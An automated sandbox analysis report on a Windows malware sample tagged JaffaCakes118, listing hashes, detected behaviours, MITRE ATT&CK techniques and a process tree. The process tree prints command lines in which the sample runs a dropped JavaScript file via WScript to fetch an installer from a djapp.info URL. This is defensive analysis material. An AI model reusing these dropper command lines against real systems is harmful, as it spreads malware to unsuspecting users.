546bded8a129fb0879fbc4ccfa5e6043366c62c7ea99bf3e55eb5461f241543c

General

Target

00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe
Size

184KB
MD5

00a338bcfbbf407449fcf480cd6cbd77
SHA1

2debaeb457a71ea4b78cab554ac12ed6779a5bfc
SHA256

546bded8a129fb0879fbc4ccfa5e6043366c62c7ea99bf3e55eb5461f241543c
SHA512

e578ffbf4e70c8b872acc820d4edd0ffae049ef58e46638cc77799386490810e30a1eef6911f787e2ef95e7cf3a99a9887ead71b9dacee687bfe72b2a83e7547
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Vf:/7BSH8zUB+nGESaaRvoB7FJNndnqf

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
964	3232	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 3408	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	83
PID 3232 wrote to memory of 3408	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	83
PID 3232 wrote to memory of 3408	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	83
PID 3232 wrote to memory of 1788	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	89
PID 3232 wrote to memory of 1788	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	89
PID 3232 wrote to memory of 1788	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	89
PID 3232 wrote to memory of 1204	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	90
PID 3232 wrote to memory of 1204	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	90
PID 3232 wrote to memory of 1204	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	90
PID 3232 wrote to memory of 336	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	91
PID 3232 wrote to memory of 336	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	91
PID 3232 wrote to memory of 336	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	91
PID 3232 wrote to memory of 4452	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	94
PID 3232 wrote to memory of 4452	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	94
PID 3232 wrote to memory of 4452	3232	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf40B2.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf40B2.exe
  2⤵
  PID:3408
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf40B2.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf40B2.exe
  2⤵
  PID:1788
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf40B2.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf40B2.exe
  2⤵
  PID:1204
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf40B2.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf40B2.exe
  2⤵
  PID:336
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf40B2.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf40B2.exe
  2⤵
  PID:4452
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3232 -s 1452
  2⤵
  - Program crash
  PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3232 -ip 3232
1⤵
PID:4496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf40B2.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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